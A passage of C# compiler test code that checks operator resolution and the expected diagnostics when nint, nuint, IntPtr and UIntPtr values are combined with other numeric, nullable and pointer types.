binaryOps(symbol, "System.IntPtr", "ulong");
binaryOps(symbol, "System.IntPtr", "float");
binaryOps(symbol, "System.IntPtr", "double");
binaryOps(symbol, "System.IntPtr", "decimal");
binaryOps(symbol, "System.IntPtr", "System.IntPtr");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr", "bool?");
binaryOps(symbol, "System.IntPtr", "char?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "sbyte?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "byte?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "short?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "ushort?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "int?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "uint?");
binaryOps(symbol, "System.IntPtr", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint?");
binaryOps(symbol, "System.IntPtr", "long?");
binaryOps(symbol, "System.IntPtr", "ulong?");
binaryOps(symbol, "System.IntPtr", "float?");
binaryOps(symbol, "System.IntPtr", "double?");
binaryOps(symbol, "System.IntPtr", "decimal?");
binaryOps(symbol, "System.IntPtr", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr?", "string");
binaryOps(symbol, "System.IntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr?", includeVoidError: true));
binaryOps(symbol, "System.IntPtr?", "bool");
binaryOps(symbol, "System.IntPtr?", "char", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "sbyte", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "byte", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "short", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "ushort", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "int", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "uint");
binaryOps(symbol, "System.IntPtr?", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint");
binaryOps(symbol, "System.IntPtr?", "long");
binaryOps(symbol, "System.IntPtr?", "ulong");
binaryOps(symbol, "System.IntPtr?", "float");
binaryOps(symbol, "System.IntPtr?", "double");
binaryOps(symbol, "System.IntPtr?", "decimal");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr?", "bool?");
binaryOps(symbol, "System.IntPtr?", "char?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "sbyte?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "byte?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "short?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "ushort?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "int?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "uint?");
binaryOps(symbol, "System.IntPtr?", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint?");
binaryOps(symbol, "System.IntPtr?", "long?");
binaryOps(symbol, "System.IntPtr?", "ulong?");
binaryOps(symbol, "System.IntPtr?", "float?");
binaryOps(symbol, "System.IntPtr?", "double?");
binaryOps(symbol, "System.IntPtr?", "decimal?");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr", "string");
binaryOps(symbol, "System.UIntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr", "bool");
binaryOps(symbol, "System.UIntPtr", "char", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "sbyte", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "byte", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "short", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "ushort", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "int", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "uint");
binaryOps(symbol, "System.UIntPtr", "nint");
binaryOps(symbol, "System.UIntPtr", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long");
binaryOps(symbol, "System.UIntPtr", "ulong");
binaryOps(symbol, "System.UIntPtr", "float");
binaryOps(symbol, "System.UIntPtr", "double");
binaryOps(symbol, "System.UIntPtr", "decimal");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr", "bool?");
binaryOps(symbol, "System.UIntPtr", "char?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "sbyte?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "byte?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "short?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "ushort?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "int?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "uint?");
binaryOps(symbol, "System.UIntPtr", "nint?");
binaryOps(symbol, "System.UIntPtr", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long?");
binaryOps(symbol, "System.UIntPtr", "ulong?");
binaryOps(symbol, "System.UIntPtr", "float?");
binaryOps(symbol, "System.UIntPtr", "double?");
binaryOps(symbol, "System.UIntPtr", "decimal?");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr?", "object");
binaryOps(symbol, "System.UIntPtr?", "string");
binaryOps(symbol, "System.UIntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr?", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr?", "bool");
binaryOps(symbol, "System.UIntPtr?", "char", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "sbyte", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "byte", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "short", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "ushort", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "int", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "uint");
binaryOps(symbol, "System.UIntPtr?", "nint");
binaryOps(symbol, "System.UIntPtr?", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long");
binaryOps(symbol, "System.UIntPtr?", "ulong");
binaryOps(symbol, "System.UIntPtr?", "float");
binaryOps(symbol, "System.UIntPtr?", "double");
binaryOps(symbol, "System.UIntPtr?", "decimal");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr?", "bool?");
binaryOps(symbol, "System.UIntPtr?", "char?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "sbyte?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "byte?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "short?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "ushort?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "int?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "uint?");
binaryOps(symbol, "System.UIntPtr?", "nint?");
binaryOps(symbol, "System.UIntPtr?", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long?");
binaryOps(symbol, "System.UIntPtr?", "ulong?");
binaryOps(symbol, "System.UIntPtr?", "float?");
binaryOps(symbol, "System.UIntPtr?", "double?");
binaryOps(symbol, "System.UIntPtr?", "decimal?");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr?");
}
foreach ((string symbol, string name) in comparisonOperators)
{
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint", "string");
binaryOps(symbol, "nint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nint"));
binaryOps(symbol, "nint", "bool");
binaryOps(symbol, "nint", "char", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"));
binaryOps(symbol, "nint", "long", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint"));
binaryOps(symbol, "nint", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr");
binaryOps(symbol, "nint", "bool?");
binaryOps(symbol, "nint", "char?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"));
binaryOps(symbol, "nint", "long?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint"));
binaryOps(symbol, "nint", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr?");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint?", "string");
binaryOps(symbol, "nint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint?", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nint?"));
binaryOps(symbol, "nint?", "bool");
binaryOps(symbol, "nint?", "char", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"));
binaryOps(symbol, "nint?", "long", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint?"));
binaryOps(symbol, "nint?", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr");
binaryOps(symbol, "nint?", "bool?");
binaryOps(symbol, "nint?", "char?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"));
binaryOps(symbol, "nint?", "long?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint?"));
binaryOps(symbol, "nint?", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr?");
binaryOps(symbol, "nuint", "object");
binaryOps(symbol, "nuint", "string");
binaryOps(symbol, "nuint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint"));
binaryOps(symbol, "nuint", "bool");
binaryOps(symbol, "nuint", "char", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint"));
binaryOps(symbol, "nuint", "uint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"));
binaryOps(symbol, "nuint", "nuint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint"));
binaryOps(symbol, "nuint", "ulong", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr");
binaryOps(symbol, "nuint", "System.UIntPtr", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "bool?");
binaryOps(symbol, "nuint", "char?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint"));
binaryOps(symbol, "nuint", "uint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"));
binaryOps(symbol, "nuint", "nuint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint"));
binaryOps(symbol, "nuint", "ulong?", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr?");
binaryOps(symbol, "nuint", "System.UIntPtr?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "object");
binaryOps(symbol, "nuint?", "string");
binaryOps(symbol, "nuint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint?", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint?"));
binaryOps(symbol, "nuint?", "bool");
binaryOps(symbol, "nuint?", "char", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint?"));
binaryOps(symbol, "nuint?", "uint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"));
binaryOps(symbol, "nuint?", "nuint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint?"));
binaryOps(symbol, "nuint?", "ulong", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr");
binaryOps(symbol, "nuint?", "System.UIntPtr", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "bool?");
binaryOps(symbol, "nuint?", "char?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint?"));
binaryOps(symbol, "nuint?", "uint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"));
binaryOps(symbol, "nuint?", "nuint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint?"));
binaryOps(symbol, "nuint?", "ulong?", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr?");
binaryOps(symbol, "nuint?", "System.UIntPtr?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr", "string");
binaryOps(symbol, "System.IntPtr", "void*");
binaryOps(symbol, "System.IntPtr", "bool");
binaryOps(symbol, "System.IntPtr", "char");
binaryOps(symbol, "System.IntPtr", "sbyte");
binaryOps(symbol, "System.IntPtr", "byte");
binaryOps(symbol, "System.IntPtr", "short");
binaryOps(symbol, "System.IntPtr", "ushort");
binaryOps(symbol, "System.IntPtr", "int");
binaryOps(symbol, "System.IntPtr", "uint");
binaryOps(symbol, "System.IntPtr", "nint", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint");
binaryOps(symbol, "System.IntPtr", "long");
binaryOps(symbol, "System.IntPtr", "ulong");
binaryOps(symbol, "System.IntPtr", "float");
binaryOps(symbol, "System.IntPtr", "double");
binaryOps(symbol, "System.IntPtr", "decimal");
binaryOps(symbol, "System.IntPtr", "System.IntPtr");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr", "bool?");
binaryOps(symbol, "System.IntPtr", "char?");
binaryOps(symbol, "System.IntPtr", "sbyte?");
binaryOps(symbol, "System.IntPtr", "byte?");
binaryOps(symbol, "System.IntPtr", "short?");
binaryOps(symbol, "System.IntPtr", "ushort?");
binaryOps(symbol, "System.IntPtr", "int?");
binaryOps(symbol, "System.IntPtr", "uint?");
binaryOps(symbol, "System.IntPtr", "nint?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint?");
binaryOps(symbol, "System.IntPtr", "long?");
binaryOps(symbol, "System.IntPtr", "ulong?");
binaryOps(symbol, "System.IntPtr", "float?");
binaryOps(symbol, "System.IntPtr", "double?");
binaryOps(symbol, "System.IntPtr", "decimal?");
binaryOps(symbol, "System.IntPtr", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr?", "string");
binaryOps(symbol, "System.IntPtr?", "void*");
binaryOps(symbol, "System.IntPtr?", "bool");
binaryOps(symbol, "System.IntPtr?", "char");
binaryOps(symbol, "System.IntPtr?", "sbyte");
binaryOps(symbol, "System.IntPtr?", "byte");
binaryOps(symbol, "System.IntPtr?", "short");
binaryOps(symbol, "System.IntPtr?", "ushort");
binaryOps(symbol, "System.IntPtr?", "int");
binaryOps(symbol, "System.IntPtr?", "uint");
binaryOps(symbol, "System.IntPtr?", "nint", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint");
binaryOps(symbol, "System.IntPtr?", "long");
binaryOps(symbol, "System.IntPtr?", "ulong");
binaryOps(symbol, "System.IntPtr?", "float");
binaryOps(symbol, "System.IntPtr?", "double");
binaryOps(symbol, "System.IntPtr?", "decimal");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr?", "bool?");
binaryOps(symbol, "System.IntPtr?", "char?");
binaryOps(symbol, "System.IntPtr?", "sbyte?");
binaryOps(symbol, "System.IntPtr?", "byte?");
binaryOps(symbol, "System.IntPtr?", "short?");
binaryOps(symbol, "System.IntPtr?", "ushort?");
binaryOps(symbol, "System.IntPtr?", "int?");
binaryOps(symbol, "System.IntPtr?", "uint?");
binaryOps(symbol, "System.IntPtr?", "nint?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint?");
binaryOps(symbol, "System.IntPtr?", "long?");
binaryOps(symbol, "System.IntPtr?", "ulong?");
